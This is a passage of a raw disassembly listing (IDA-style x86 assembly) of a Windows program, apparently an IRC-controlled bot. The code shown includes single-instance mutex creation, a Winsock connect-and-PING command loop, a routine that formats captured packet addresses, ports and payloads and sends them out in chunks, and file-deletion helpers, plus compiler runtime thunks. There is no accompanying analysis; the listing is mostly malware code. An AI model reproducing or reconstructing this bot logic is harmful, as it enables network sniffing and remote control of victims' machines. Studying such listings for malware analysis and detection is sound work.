		add	esp, 10h
		test	eax, eax
		jz	loc_416632
		and	[ebp+var_19B8],	0
		jmp	short loc_4163AF
; ---------------------------------------------------------------------------

loc_4163A2:				; CODE XREF: sub_415F69:loc_416413j
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax

loc_4163AF:				; CODE XREF: sub_415F69+437j
		mov	eax, [ebp+var_19B8]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416415
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jnz	short loc_4163DA
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Dh

loc_4163DA:				; CODE XREF: sub_415F69+463j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_4163F7
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	3Eh

loc_4163F7:				; CODE XREF: sub_415F69+480j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_416413
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		mov	byte ptr [eax],	2Eh

loc_416413:				; CODE XREF: sub_415F69+49Cj
		jmp	short loc_4163A2
; ---------------------------------------------------------------------------

loc_416415:				; CODE XREF: sub_415F69+452j
		and	[ebp+var_19B8],	0
		mov	eax, [ebp+var_19B8]
		mov	[ebp+var_17AC],	eax
		jmp	short loc_416437
; ---------------------------------------------------------------------------

loc_41642A:				; CODE XREF: sub_415F69+507j
					; sub_415F69+51Aj ...
		mov	eax, [ebp+var_19B8]
		inc	eax
		mov	[ebp+var_19B8],	eax

loc_416437:				; CODE XREF: sub_415F69+4BFj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_41645F
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_4164AA
; ---------------------------------------------------------------------------

loc_41645F:				; CODE XREF: sub_415F69+4DCj
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jl	short loc_416472
		jmp	short loc_41642A
; ---------------------------------------------------------------------------

loc_416472:				; CODE XREF: sub_415F69+505j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_19B8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jg	short loc_416485
		jmp	short loc_41642A
; ---------------------------------------------------------------------------

loc_416485:				; CODE XREF: sub_415F69+518j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17AC]
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_19B8]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_17AC]
		inc	eax
		mov	[ebp+var_17AC],	eax
		jmp	short loc_41642A
; ---------------------------------------------------------------------------

loc_4164AA:				; CODE XREF: sub_415F69+4F4j
		cmp	[ebp+var_17AC],	0
		jnz	short loc_4164B8
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_4164B8:				; CODE XREF: sub_415F69+548j
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+0Ch]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	100h
		mov	eax, [ebp+var_161C]
		push	dword ptr [eax+10h]
		call	dword_41721C	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		mov	eax, [ebp+var_1628]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_18B0]
		push	eax
		mov	eax, [ebp+var_1628]
		mov	ax, [eax]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		lea	eax, [ebp+var_19B4]
		push	eax
		push	offset dword_41DA58
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 18h
		mov	[ebp+var_18B4],	eax
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		push	eax
		push	[ebp+var_4]
		mov	eax, [ebp+var_18B4]
		lea	eax, [ebp+eax+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_4165AD
		jmp	loc_416655
; ---------------------------------------------------------------------------

loc_4165AD:				; CODE XREF: sub_415F69+63Dj
		mov	eax, 180h
		sub	eax, [ebp+var_18B4]
		dec	eax
		mov	[ebp+var_17B0],	eax

loc_4165BF:				; CODE XREF: sub_415F69+6C7j
		mov	eax, [ebp+var_17B0]
		cmp	eax, [ebp+var_17AC]
		jnb	short loc_416632
		push	180h
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_17B0]
		push	eax
		lea	eax, [ebp+var_17A8]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_17A8]
		push	eax
		push	offset dword_418B64
		lea	eax, [ebp+var_140C]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1614]
		cmp	dword ptr [eax+4], 0
		jz	short loc_41661F
		jmp	short loc_416653
; ---------------------------------------------------------------------------

loc_41661F:				; CODE XREF: sub_415F69+6B2j
		mov	eax, [ebp+var_17B0]
		add	eax, 17Fh
		mov	[ebp+var_17B0],	eax
		jmp	short loc_4165BF
; ---------------------------------------------------------------------------

loc_416632:				; CODE XREF: sub_415F69+35Bj
					; sub_415F69+42Aj ...
		jmp	loc_4161E6
; ---------------------------------------------------------------------------

loc_416637:				; CODE XREF: sub_415F69+2A9j
					; sub_415F69:loc_416229j ...
		push	[ebp+var_104C]
		call	dword_417230	; closesocket
		push	[ebp+var_1614]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	short loc_416657
; ---------------------------------------------------------------------------

loc_416653:				; CODE XREF: sub_415F69+6B4j
		jmp	short loc_416637
; ---------------------------------------------------------------------------

loc_416655:				; CODE XREF: sub_415F69+63Fj
		jmp	short loc_416637
; ---------------------------------------------------------------------------

loc_416657:				; CODE XREF: sub_415F69+70j
					; sub_415F69+BDj ...
		pop	edi
		leave
		retn	4
sub_415F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41665C	proc near		; CODE XREF: sub_40A9CF+9FEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	3ABh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41667B
		jmp	locret_41670F
; ---------------------------------------------------------------------------

loc_41667B:				; CODE XREF: sub_41665C+18j
		cmp	[ebp+arg_4], 0
		jz	short loc_41668F
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		jmp	short loc_416696
; ---------------------------------------------------------------------------

loc_41668F:				; CODE XREF: sub_41665C+23j
		mov	[ebp+var_8], 3

loc_416696:				; CODE XREF: sub_41665C+31j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+4], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_4166AD
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_C], eax
		jmp	short loc_4166B4
; ---------------------------------------------------------------------------

loc_4166AD:				; CODE XREF: sub_41665C+47j
		mov	[ebp+var_C], offset byte_41DF00

loc_4166B4:				; CODE XREF: sub_41665C+4Fj
		push	200h
		push	[ebp+var_C]
		mov	eax, [ebp+var_4]
		add	eax, 8
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 208h
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		push	offset dword_41DAC0
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_4]
		push	offset sub_415F69
		call	sub_4095A4
		add	esp, 14h

locret_41670F:				; CODE XREF: sub_41665C+1Aj
		leave
		retn
sub_41665C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416711	proc near		; CODE XREF: sub_4167B9+6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41673B
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_41673D
; ---------------------------------------------------------------------------

loc_41673B:				; CODE XREF: sub_416711+1Aj
		xor	eax, eax

locret_41673D:				; CODE XREF: sub_416711+28j
		leave
		retn
sub_416711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41673F	proc near		; CODE XREF: sub_40A9CF+C23p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	offset aRb	; "rb"
		push	[ebp+arg_0]
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41679C
		push	2
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B76	; ftell
		pop	ecx
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	[ebp+var_4]
		call	sub_416B96	; fseek
		add	esp, 0Ch
		push	[ebp+var_4]
		call	sub_416B82	; fclose
		pop	ecx
		mov	eax, [ebp+var_8]
		inc	eax
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		jmp	short locret_41679E
; ---------------------------------------------------------------------------

loc_41679C:				; CODE XREF: sub_41673F+1Bj
		xor	eax, eax

locret_41679E:				; CODE XREF: sub_41673F+5Bj
		leave
		retn
sub_41673F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167A0	proc near		; CODE XREF: sub_4167B9+13p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_4170AC	; DeleteFileA
		test	eax, eax
		jz	short loc_4167B5
		push	1
		pop	eax
		jmp	short loc_4167B7
; ---------------------------------------------------------------------------

loc_4167B5:				; CODE XREF: sub_4167A0+Ej
		xor	eax, eax

loc_4167B7:				; CODE XREF: sub_4167A0+13j
		pop	ebp
		retn
sub_4167A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167B9	proc near		; CODE XREF: sub_402698+1D9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416711
		pop	ecx
		test	eax, eax
		jz	short loc_4167D9
		push	[ebp+arg_0]
		call	sub_4167A0
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_4167DB
; ---------------------------------------------------------------------------

loc_4167D9:				; CODE XREF: sub_4167B9+Ej
		xor	eax, eax

loc_4167DB:				; CODE XREF: sub_4167B9+1Ej
		pop	ebp
		retn
sub_4167B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4167DD	proc near		; CODE XREF: sub_40A9CF+8E9p

var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_4], eax
		leave
		retn
sub_4167DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4167F1	proc near		; DATA XREF: BrattyUS:00420010o

var_12F4	= dword	ptr -12F4h
var_12F0	= dword	ptr -12F0h
var_12EC	= byte ptr -12ECh
var_115C	= byte ptr -115Ch
var_1128	= dword	ptr -1128h
var_1121	= byte ptr -1121h
var_1120	= byte ptr -1120h
var_101C	= dword	ptr -101Ch
var_1018	= byte ptr -1018h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417298
		push	offset sub_416DBA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 12DCh
		call	sub_416BC0
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	2
		call	dword_4170F4	; SetErrorMode
		and	[ebp+var_4], 0
		push	dword_41DB04
		push	dword_41DB00
		push	3B7h
		push	dword_41DAFC
		push	0
		push	dword_41DAF8
		push	offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x"
		lea	eax, [ebp+var_115C]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 20h
		and	[ebp+var_1128],	0
		jmp	short loc_416875
; ---------------------------------------------------------------------------

loc_416868:				; CODE XREF: sub_4167F1:loc_4168BAj
		mov	eax, [ebp+var_1128]
		inc	eax
		mov	[ebp+var_1128],	eax

loc_416875:				; CODE XREF: sub_4167F1+75j
		cmp	[ebp+var_1128],	0Ah
		jnz	short loc_416883
		call	sub_407148

loc_416883:				; CODE XREF: sub_4167F1+8Bj
		push	3E8h
		call	dword_41709C	; Sleep
		lea	eax, [ebp+var_115C]
		push	eax
		push	0
		push	0
		call	dword_4170F8	; CreateMutexA
		mov	[ebp+var_12F0],	eax
		cmp	[ebp+var_12F0],	0
		jz	short loc_4168BA
		call	dword_417064	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_4168BA
		jmp	short loc_4168BC
; ---------------------------------------------------------------------------

loc_4168BA:				; CODE XREF: sub_4167F1+BBj
					; sub_4167F1+C5j
		jmp	short loc_416868
; ---------------------------------------------------------------------------

loc_4168BC:				; CODE XREF: sub_4167F1+C7j
		call	sub_403BD3
		call	sub_405FA3
		call	sub_40938F
		call	sub_412FC6
		call	sub_4102AE
		call	sub_40E979
		push	10h
		push	offset dword_41DAF8
		call	sub_41055F
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DAF8
		call	sub_40ECEB
		pop	ecx
		pop	ecx
		push	10h
		push	offset dword_41DAF8
		call	sub_40ED6E
		pop	ecx
		pop	ecx
		call	sub_410422
		mov	dword_41ED00, eax
		call	sub_410422
		mov	dword_41ED04, eax
		call	sub_410422
		mov	dword_41ED08, eax
		call	sub_410422
		mov	dword_41ED0C, eax
		push	104h
		lea	eax, [ebp+var_1120]
		push	eax
		push	0
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	dword_417090	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_416961
		push	offset byte_41DF00
		push	offset dword_41EBFC
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	loc_4169E1
; ---------------------------------------------------------------------------

loc_416961:				; CODE XREF: sub_4167F1+158j
		lea	eax, [ebp+var_1120]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_12F4],	eax
		jmp	short loc_416983
; ---------------------------------------------------------------------------

loc_416976:				; CODE XREF: sub_4167F1:loc_4169DFj
		mov	eax, [ebp+var_12F4]
		dec	eax
		mov	[ebp+var_12F4],	eax

loc_416983:				; CODE XREF: sub_4167F1+183j
		cmp	[ebp+var_12F4],	0
		jnz	short loc_41699F
		push	offset byte_41DF00
		push	offset dword_41EBFC
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------

loc_41699F:				; CODE XREF: sub_4167F1+199j
		mov	eax, [ebp+var_12F4]
		movsx	eax, [ebp+eax+var_1121]
		cmp	eax, 5Ch
		jnz	short loc_4169DF
		mov	eax, [ebp+var_12F4]
		lea	eax, [ebp+eax+var_1120]
		push	eax
		push	offset dword_41EBFC
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	offset dword_41EBFC
		push	offset dword_41ED10
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4169E1
; ---------------------------------------------------------------------------

loc_4169DF:				; CODE XREF: sub_4167F1+1BFj
		jmp	short loc_416976
; ---------------------------------------------------------------------------

loc_4169E1:				; CODE XREF: sub_4167F1+16Bj
					; sub_4167F1+1ACj ...
		call	sub_406E8E
		lea	eax, [ebp+var_12EC]
		push	eax
		push	202h
		call	dword_417264	; WSAStartup

loc_4169F8:				; CODE XREF: sub_4167F1+252j
					; sub_4167F1+2B6j
		push	0
		push	0
		push	0
		call	sub_40D366
		add	esp, 0Ch
		call	sub_409226
		and	dword ptr [ebp-1124h], 0
		and	[ebp+var_101C],	0

loc_416A19:				; CODE XREF: sub_416ADB+7j
		mov	[ebp+var_4], 1

loc_416A20:				; CODE XREF: sub_4167F1:loc_416A6Fj
					; sub_4167F1+2CFj
		push	0EA60h
		call	sub_40CF25
		push	eax
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_416A71
		cmp	[ebp+var_101C],	19h
		jnz	short loc_416A45
		and	[ebp+var_4], 0
		jmp	short loc_4169F8
; ---------------------------------------------------------------------------

loc_416A45:				; CODE XREF: sub_4167F1+24Cj
		cmp	[ebp+var_101C],	14h
		jnz	short loc_416A62
		call	sub_410422
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	short loc_416A6F
; ---------------------------------------------------------------------------

loc_416A62:				; CODE XREF: sub_4167F1+25Bj
		mov	eax, [ebp+var_101C]
		inc	eax
		mov	[ebp+var_101C],	eax

loc_416A6F:				; CODE XREF: sub_4167F1+26Fj
		jmp	short loc_416A20
; ---------------------------------------------------------------------------

loc_416A71:				; CODE XREF: sub_4167F1+243j
		push	1000h
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40CF25
		push	eax
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	dword ptr [ebp-1124h], 0
		jz	short loc_416AA3
		cmp	dword ptr [ebp-1124h], 0FFFFFFFFh
		jnz	short loc_416AAC

loc_416AA3:				; CODE XREF: sub_4167F1+2A7j
		and	[ebp+var_4], 0
		jmp	loc_4169F8
; ---------------------------------------------------------------------------

loc_416AAC:				; CODE XREF: sub_4167F1+2B0j
		and	[ebp+var_101C],	0
		lea	eax, [ebp+var_1018]
		push	eax
		call	sub_40E943
		pop	ecx
		jmp	loc_416A20
sub_4167F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_416AC5	proc near		; DATA XREF: BrattyUS:004172A8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
sub_416AC5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416ADB	proc near		; DATA XREF: BrattyUS:004172ACo
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-4], 0
		jmp	loc_416A19
sub_416ADB	endp

; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40332B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	dword_41DF08, 0
		jz	short loc_416B1E
		push	offset dword_41DE2C
		push	offset dword_41DB88
		call	sub_40D4AB
		pop	ecx
		pop	ecx

loc_416B1E:				; CODE XREF: BrattyUS:00416B0Bj
		call	dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B3A	proc near		; CODE XREF: sub_401000+3Cp
					; sub_4020C2+62p ...
		jmp	dword_41712C
sub_416B3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B40	proc near		; CODE XREF: sub_401146+7Ap
					; sub_4017AA+Ep ...
		jmp	dword_4171BC
sub_416B40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B46	proc near		; CODE XREF: sub_401244+85p
					; sub_4017AA+22p ...
		jmp	dword_4171B8
sub_416B46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B4C	proc near		; CODE XREF: sub_401244+25p
					; sub_401244+4DEp ...
		jmp	dword_4171B4
sub_416B4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B52	proc near		; CODE XREF: sub_401244+1Ap
					; sub_401981+18p ...
		jmp	dword_4171B0
sub_416B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B58	proc near		; CODE XREF: sub_4017AA+5Ap
					; sub_4024F3+88p ...
		jmp	dword_4171AC
sub_416B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B5E	proc near		; CODE XREF: sub_4018AF+9Fp
					; sub_4055E5+231p ...
		jmp	dword_4171A8
sub_416B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B64	proc near		; CODE XREF: sub_4018AF+3Bp
					; sub_4018AF+5Dp ...
		jmp	dword_4171A4
sub_416B64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B6A	proc near		; CODE XREF: sub_401981+145p
					; sub_401981+158p ...
		jmp	dword_4171A0
sub_416B6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B70	proc near		; CODE XREF: sub_401D6E+A5p
					; sub_403260+4Cp ...
		jmp	dword_41719C
sub_416B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B76	proc near		; CODE XREF: sub_401E38+1ABp
					; sub_4020C2+1A6p ...
		jmp	dword_417198
sub_416B76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B7C	proc near		; CODE XREF: sub_401E38+179p
					; sub_402698+24Cp ...
		jmp	dword_417194
sub_416B7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B82	proc near		; CODE XREF: sub_401E38+9Dp
					; sub_401E38+262p ...
		jmp	dword_417190
sub_416B82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B88	proc near		; CODE XREF: sub_401E38+42p
					; sub_4020C2+159p ...
		jmp	dword_41718C
sub_416B88	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B90	proc near		; CODE XREF: sub_4020C2+2C1p
					; sub_41102F+94p ...
		jmp	dword_417188
sub_416B90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B96	proc near		; CODE XREF: sub_4020C2+198p
					; sub_4020C2+1BCp ...
		jmp	dword_417184
sub_416B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416B9C	proc near		; CODE XREF: sub_4024F3+26p
					; sub_4024F3+46p ...
		jmp	dword_417180
sub_416B9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA2	proc near		; CODE XREF: sub_402698+160p
					; sub_40CA29+F6p ...
		jmp	dword_41717C
sub_416BA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BA8	proc near		; CODE XREF: sub_402698+CCp
					; sub_402698+110p ...
		jmp	dword_417178
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BAE	proc near		; CODE XREF: sub_402698+4Bp
					; sub_4083AD+3DFp ...
		jmp	dword_417174
sub_416BAE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416BC0	proc near		; CODE XREF: sub_403DF3+8p
					; sub_40546E+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_416BE0

loc_416BCC:				; CODE XREF: sub_416BC0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416BCC

loc_416BE0:				; CODE XREF: sub_416BC0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416BC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF0	proc near		; CODE XREF: sub_4041B7+Dp
					; sub_4041B7+28p ...
		jmp	dword_417170
sub_416BF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BF6	proc near		; CODE XREF: sub_406041+67p
		jmp	dword_41716C
sub_416BF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416BFC	proc near		; CODE XREF: sub_406E8E+2B3p
					; BrattyUS:00416B26p
		jmp	dword_417168
sub_416BFC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C10	proc near		; CODE XREF: sub_40821B+61p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_416C31
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_416C81
; ---------------------------------------------------------------------------

loc_416C31:				; CODE XREF: sub_416C10+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_416C3F:				; CODE XREF: sub_416C10+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416C3F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_416C6A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_416C6A
		jb	short loc_416C72
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_416C72

loc_416C6A:				; CODE XREF: sub_416C10+4Aj
					; sub_416C10+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_416C72:				; CODE XREF: sub_416C10+52j
					; sub_416C10+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_416C81:				; CODE XREF: sub_416C10+1Fj
		pop	ebx
		retn	10h
sub_416C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416C90	proc near		; CODE XREF: sub_40821B+30p
					; sub_40821B+3Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_416CB2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_416CF3
; ---------------------------------------------------------------------------

loc_416CB2:				; CODE XREF: sub_416C90+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_416CC0:				; CODE XREF: sub_416C90+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_416CC0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_416CEE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_416CEE
		jb	short loc_416CEF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_416CEF

loc_416CEE:				; CODE XREF: sub_416C90+4Ej
					; sub_416C90+54j
		dec	esi

loc_416CEF:				; CODE XREF: sub_416C90+56j
					; sub_416C90+5Cj
		xor	edx, edx
		mov	eax, esi

loc_416CF3:				; CODE XREF: sub_416C90+20j
		pop	esi
		pop	ebx
		retn	10h
sub_416C90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416CF8	proc near		; CODE XREF: sub_4088FC+1FAp
					; sub_409226+5Cp ...
